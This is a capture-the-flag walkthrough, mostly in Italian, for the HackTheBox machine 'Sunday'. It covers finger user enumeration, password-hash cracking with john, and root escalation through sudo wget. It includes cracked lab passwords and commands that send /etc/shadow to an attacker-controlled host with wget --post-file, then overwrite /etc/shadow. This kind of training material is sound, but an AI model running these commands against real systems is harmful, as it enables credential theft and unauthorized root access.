HTB - Sunday


Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-08 20:05 CEST
Nmap scan report for sunday (10.129.185.211)
Host is up (0.052s latency).
Not shown: 990 closed ports
PORT      STATE    SERVICE        VERSION
79/tcp    open     finger         Sun Solaris fingerd
|_finger: No one logged on\x0D
111/tcp   open     rpcbind        2-4 (RPC #100000)
1055/tcp  filtered ansyslmd
1090/tcp  filtered ff-fms
1863/tcp  filtered msnp
1998/tcp  filtered x25-svc-port
2875/tcp  filtered dxmessagebase2
5280/tcp  filtered xmpp-bosh
8009/tcp  filtered ajp13
50003/tcp filtered unknown
Service Info: OS: Solaris; CPE: cpe:/o:sun:sunos

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 457.94 seconds    
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-08 22:41 CEST
Stats: 0:00:03 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.30% done; ETC: 22:41 (0:00:00 remaining)
Nmap scan report for sunday (10.129.185.230)
Host is up (0.052s latency).

PORT      STATE SERVICE VERSION
22022/tcp open  ssh     SunSSH 1.3 (protocol 2.0)
| ssh-hostkey: 
|   1024 d2:e5:cb:bd:33:c7:01:31:0b:3c:63:d9:82:d9:f1:4e (DSA)
|_  1024 e4:2c:80:62:cf:15:17:79:ff:72:9d:df:8b:a6:c9:ac (RSA)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.37 seconds
79/tcp    open     finger         Sun Solaris fingerd                                                  
|_finger: No one logged on\x0D
111/tcp   open     rpcbind        2-4 (RPC #100000)
22022/tcp open     ssh            SunSSH 1.3 (protocol 2.0)                                            
| ssh-hostkey:
|   1024 d2:e5:cb:bd:33:c7:01:31:0b:3c:63:d9:82:d9:f1:4e (DSA)                               
|_  1024 e4:2c:80:62:cf:15:17:79:ff:72:9d:df:8b:a6:c9:ac (RSA)                               
33967/tcp open     rpcbind
54979/tcp open     rpcbind
Starting finger-user-enum v1.0 ( http://pentestmonkey.net/tools/finger-user-enum )

 ----------------------------------------------------------
|                   Scan Information                       |
 ----------------------------------------------------------

Worker Processes ......... 5
Usernames file ........... /home/leo/repos/SecLists/Usernames/Names/names.txt
Target count ............. 1
Username count ........... 10177
Target TCP port .......... 79
Query timeout ............ 5 secs
Relay Server ............. Not used

######## Scan started at Sun Aug  8 20:28:41 2021 #########
admin@sunday: Login       Name               TTY         Idle    When    Where..adm      Admin      
                        < .  .  .  . >..lp       Line Printer Admin                 < .  .  .  . >..
uucp     uucp Admin                         < .  .  .  . >..nuucp    uucp Admin                     
    < .  .  .  . >..dladm    Datalink Admin                     < .  .  .  . >..listen   Network Adm
in                      < .  .  .  . >..
anne marie@sunday: Login       Name               TTY         Idle    When    Where..anne           
       ???..marie                 ???..
bin@sunday: bin             ???                         < .  .  .  . >..
a

dee dee@sunday: Login       Name               TTY         Idle    When    Where..dee                   ???..dee                   ???..
jo ann@sunday: Login       Name               TTY         Idle    When    Where..jo                    ???..ann                   ???..
la verne@sunday: Login       Name               TTY         Idle    When    Where..la                    ???..verne                 ???..
line@sunday: Login       Name               TTY         Idle    When    Where..lp       Line Printer Admin                 < .  .  .  . >..
message@sunday: Login       Name               TTY         Idle    When    Where..smmsp    SendMail Message Sub               < .  .  .  . >..
miof mela@sunday: Login       Name               TTY         Idle    When    Where..miof                  ???..mela                  ???..
root@sunday: root     Super-User            pts/3        <Apr 24, 2018> sunday              ..
sammy@sunday: sammy                 console      <Oct 10, 2020>..
sunny@sunday: sunny                 pts/3        <Apr 24, 2018> 10.10.14.4          ..
sys@sunday: sys             ???                         < .  .  .  . >..
zsa zsa@sunday: Login       Name               TTY         Idle    When    Where..zsa                   ???..zsa                   ???..
######## Scan completed at Sun Aug  8 20:59:46 2021 #########
14 results.  

We find the following usernames

root@sunday
sammy@sunday
sunny@sunday
finger -l root@sunday
Login name: root                        In real life: Super-User
Directory: /root                        Shell: /usr/bin/bash
Last login Tue Apr 24, 2018 on pts/3 from sunday
New mail received Tue Apr 24 11:05:47 2018;
  unread since Tue Apr 24 11:05:46 2018
No Plan.    
Login name: sunny                       In real life: sunny
Directory: /export/home/sunny           Shell: /bin/bash
Last login Tue Apr 24, 2018 on pts/3 from 10.10.14.4
No unread mail
No Plan.    
Login name: sammy                       In real life: sammy
Directory: /export/home/sammy           Shell: /bin/bash
Last login Sat Oct 10, 2020 on console
No unread mail
No Plan.    
Warning: detected hash type "sha256crypt", but the string is also recognized as "crypt"      
Use the "--format=crypt" option to force loading these as that type instead                  
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (sha256crypt, crypt(3) $5$ [SHA256 128/128 AVX 4x])
Press 'q' or Ctrl-C to abort, almost any other key for status                                
0g 0:00:00:01 DONE (2018-05-16 12:15) 0g/s 1524p/s 1524c/s 1524C/s sunny1907..sunny1900      
Session completed
leo@kali:~/repos/htb/machines/sunday/data$ john --wordlist=~/repos/wordlists/rockyou.txt unshadow 
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (sha256crypt, crypt(3) $5$ [SHA256 128/128 AVX 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
sunday           (sunny)
cooldude!        (sammy)
2g 0:00:01:22 DONE (2021-08-08 22:58) 0.02431g/s 2477p/s 2508c/s 2508C/s daddyzgurl..chrystelle
Use the "--show" option to display all of the cracked passwords reliably
Session completed    
Unable to negotiate with 10.129.185.230 port 22022: no matching key exchange method found. Their offer: gss-group1-sha1-toWM5Slw5Ew8Mqkay+al2g==,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1
The authenticity of host '[sunday]:22022 ([10.129.185.230]:22022)' can't be established.
RSA key fingerprint is SHA256:TmRO9yKIj8Rr/KJIZFXEVswWZB/hic/jAHr78xGp+YU.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[sunday]:22022,[10.129.185.230]:22022' (RSA) to the list of known hosts.
Password: 
Last login: Tue Apr 24 10:48:11 2018 from 10.10.14.4
Sun Microsystems Inc.   SunOS 5.11      snv_111b        November 2008
sunny@sunday:~$     
unshadow passwd_file shadow_file > unshadow_file   

Dove il file unshadow finale ha la seguente forma

sammy:$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:101:10:sammy:/export/home/sammy:/bin/bash
sunny:$5$iRMbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3:65535:1:sunny:/export/home/sunny:/bin/bash

Per sovrascrivere un file qualsiasi

sudo /usr/bin/wget 10.10.14.96:1337/modified_shadow -O /etc/shadow   

Per leggere un file qualsiasi

sudo /usr/bin/wget 10.10.14.96:1337/modified_shadow --post-file = /etc/shadow

I soliti scans con nmap mostrano la seguente situazione

nmap -sC -sV sunday

PORT      STATE    SERVICE        VERSION
79/tcp    open     finger         Sun Solaris fingerd
|_finger: No one logged on\x0D
111/tcp   open     rpcbind        2-4 (RPC #100000)
1055/tcp  filtered ansyslmd
1090/tcp  filtered ff-fms
1863/tcp  filtered msnp
1998/tcp  filtered x25-svc-port
2875/tcp  filtered dxmessagebase2
5280/tcp  filtered xmpp-bosh
8009/tcp  filtered ajp13
50003/tcp filtered unknown
Service Info: OS: Solaris; CPE: cpe:/o:sun:sunos   

nmap -sC -sV -p 22022 sunday

Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-08 22:41 CEST
Stats: 0:00:03 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.30% done; ETC: 22:41 (0:00:00 remaining)
Nmap scan report for sunday (10.129.185.230)
Host is up (0.052s latency).

PORT      STATE SERVICE VERSION
22022/tcp open  ssh     SunSSH 1.3 (protocol 2.0)
| ssh-hostkey: 
|   1024 d2:e5:cb:bd:33:c7:01:31:0b:3c:63:d9:82:d9:f1:4e (DSA)
|_  1024 e4:2c:80:62:cf:15:17:79:ff:72:9d:df:8b:a6:c9:ac (RSA)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.37 seconds

Notiamo in particolare i seguenti servizi:

  • Nella porta \(79\) il servizio finger, che viene utilizzato per ottenere varie informazioni basi sugli utenti del sistema.

  • Nella porta \(22022\) il solito servizio ssh.

Procediamo quindi enumerando gli utenti del sistema tramite il servizio finger. Il servizio finger infatti ci permette di ottenere delle informazioni sugli utenti.

Se ad esempio eseguiamo finger -l root@sunday, otteniamo il seguente output

Login name: root                        In real life: Super-User
Directory: /root                        Shell: /usr/bin/bash
Last login Tue Apr 24, 2018 on pts/3 from sunday
New mail received Tue Apr 24 11:05:47 2018;
  unread since Tue Apr 24 11:05:46 2018
No Plan.

che ci fa capire che l'utente root esiste nel sistema.

Se invece proviamo ad eseguire lo stesso comando ma con un username creato in modo randomico, ad esempio finger -l asdasds@sunday, otteniamo quest'altro tipo di output

Login name: asadasds                    In real life: ???

che ci fa capire che, a differenza di prima, l'utente asdasds, giustamente, non esiste.


Utilizzando questo tipo di output possiamo qundi discriminare se un utente esiste oppure no.

In particolare, tramite lo script finger-user-enum, disponibile nella github repository di https://github.com/pentestmonkey/finger-user-enum, e la wordlist Usernames/Names/names.txt disponibile nella github repository SecLists possiamo enumerare gli utenti del sistema.

perl finger-user-enum.pl -U ~/repos/SecLists/Usernames/Names/names.txt -t sunday   

per ottenere il seguente output

root@sunday: root     Super-User            pts/3        <Apr 24, 2018> sunday
sammy@sunday: sammy                 console      <Oct 10, 2020>
sunny@sunday: sunny                 pts/3        <Apr 24, 2018> 10.10.14.4

possiamo quindi inferire l'esistenza dei seguenti account nel sistema

root
sammy
sunny

Provando a fare il login con ssh nella porta \(22022\) otteniamo il seguente errore

ssh -p 22022 sunny@sunday   
Unable to negotiate with 10.129.185.230 port 22022:
   no matching key exchange method found.
Their offer: gss-group1-sha1-toWM5Slw5Ew8Mqkay+al2g==,
             diffie-hellman-group-exchange-sha1,
             diffie-hellman-group1-sha1   

l'errore ci sta dicendo che tra il client ssh (nella nostra macchina) e il servizio ssh (nella macchina remota) non è stato trovato nessun cifrario comune, e quindi non è stato possibile iniziare la comunicazione.

Per sistemare questo problema dobbiamo dire al client ssh, quello eseguito sulla nostra macchina, di utilizzare uno dei cifrari offerti dal server. Possiamo fare questo con il seguente comando

ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -p 22022 sunny@sunday   

Una volta che siamo in grado di connetterci, possiamo entrare con le seguenti credenziali:

sunny:sunday   

notiamo che mentre l'username sunny è stato ottenuto enumerando il servizio finger, per quanto riguarda la password, quest'ultima può essere ottenuta sia andando a fare un attacco brute-force sul login, oppure indovinandola, in quanto la password corrisponde al nome della macchina.

Una volta dentro per prendere l'user flag dobbiamo andare nella cartella /backup per vedere il file shadow.backup, che contiene, come suggerisce il nome, il backup del file /etc/shadow.

sammy:$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:6445::::::
sunny:$5$iRMbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3:17636::::::

Per poter craccare le password andiamo prima a leggere il contenuto del file /etc/passwd relativo agli utenti sammy e sunny

sammy:x:101:10:sammy:/export/home/sammy:/bin/bash
sunny:x:65535:1:sunny:/export/home/sunny:/bin/bash

ed a eseguire il comando unshadow per collegare i due file in un unico file

unshadow passwd_file shadow_file > unshadow_file   

Il contenuto di unshadow_file è il seguente

sammy:$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:101:10:sammy:/export/home/sammy:/bin/bash
sunny:$5$iRMbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3:65535:1:sunny:/export/home/sunny:/bin/bash   

Alla fine possiamo utilizzare john con la solita wordlist rockyou.txt per ottenere le password degli utenti

john --wordlist=/usr/share/wordlists/rockyou.txt unshadow   

in questo caso otteniamo

sunday           (sunny)
cooldude!        (sammy)

Una volta loggati come l'utente sammy troviamo subito la user flag nella sua home directory.

Continuando come l'utente sammy eseguendo il comando sudo -l troviamo la seguente situazione

User sammy may run the following commands on this host:
    (root) NOPASSWD: /usr/bin/wget     

Possiamo quindi eseguire il comando wget come root.


La prima idea è quella di far partire un python server e di sovrascrivere il file /root/.ssh/authorized_keys per entrare in ssh con il seguente comando

wget http://<IP>:<port>/authorized_keys -O /home/.ssh/authorized_keys

questo però non funziona, probabilmente perché la cartella .ssh non esiste.


In realtà per ottenere una root da shell basta notare il fatto che l'utente sunny può eseguire da root lo script /root/troll. L'idea quindi è quella di sovrascivere questo script con uno script che spawna una shell tramite wget, per poi eseguirlo.

Per far funzionare il tutto bisogna stare attenti al fatto che lo script troll viene ogni tot. di secondi sovrascritto da un cronjob.


Una volta ottenuto la shell da root possiamo semplicemente leggere la root flag.

Un altro modo per ottenere il root, che avrebbe funzionato anche se non fossimo stati in grado di eseguire lo script /root/troll, consiste nell'utilizzare il parametro post-file del comando wget per leggere il file /etc/shadow. Per fare questo dobbiamo prima settare nella nostra macchina un python server che semplicemente logga le richieste GET/POST che riceve

python3 log_http_requests.py 1337   

e poi nella macchina remota eseguire il seguente comando

sudo /usr/bin/wget 10.10.14.96:1337/modified_passwd --post-file=/etc/shadow   

una volta che leggiamo il file shadow, che è il seguente

root:$5$WVmHMduo$nI.KTRbAaUv1ZgzaGiHhpA2RNdoo3aMDgPBL25FZcoD:14146::::::
<ALTRE COSE QUI...>
sammy:$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:6445::::::
sunny:$5$iRMbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3:17636::::::   

semplicemente modificando lo shadow file andando a copiare la password-hashata dell'utente sammy nell'utente root e trasportando il file shadow modificato nella macchina remota come segue

wget http://<IP>:<port>/modified_shadow -O /etc/shadow

siamo in grado di loggare come l'utente root utilizzando la password dell'utente sammy, ovvero cooldude!.